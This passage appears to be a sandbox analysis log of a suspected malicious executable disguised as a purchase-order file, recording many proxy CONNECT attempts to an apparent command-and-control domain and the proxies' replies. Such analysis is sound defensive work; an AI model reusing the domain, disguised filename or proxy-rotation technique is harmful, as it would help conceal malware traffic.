365	192.168.2.11	50862	199.58.185.9	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.353785038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.11	50702	192.163.200.200	35396	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.354517937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376274109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376912117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376296997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.376023054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.11	51172	47.242.234.237	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.407994986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.11	50600	51.158.96.66	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.411562920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.427830935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.918318033 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.11	51184	154.12.178.107	29985	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.411678076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.11	51300	104.16.105.198	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.411681890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.567816019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.11	51316	104.17.132.79	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.413790941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.570049047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.11	51151	138.36.150.16	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.414014101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.11	51323	104.16.106.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.414861917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.570024967 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.11	50506	171.235.166.222	4019	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.418896914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.016913891 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.11	51193	153.139.233.218	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.419851065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.954583883 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.11	51202	98.162.25.29	31679	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.420433998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.11	50727	172.93.111.87	15805	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.421694040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.427831888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.439289093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.439078093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.438684940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.470274925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.469681978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.469682932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:20.500833988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.11	51264	31.204.28.96	5432	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.422454119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.626830101 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.11	51334	172.67.36.21	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.423106909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.579049110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.11	50608	51.161.131.84	63055	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.424833059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.11	51352	104.20.89.77	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.425318003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.580544949 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.11	50801	147.124.212.31	13276	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.428034067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.485563993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.485913992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.485635042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.485745907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:56.579078913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:08.579094887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:32.579097986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:20.578941107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.11	51325	5.78.65.91	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
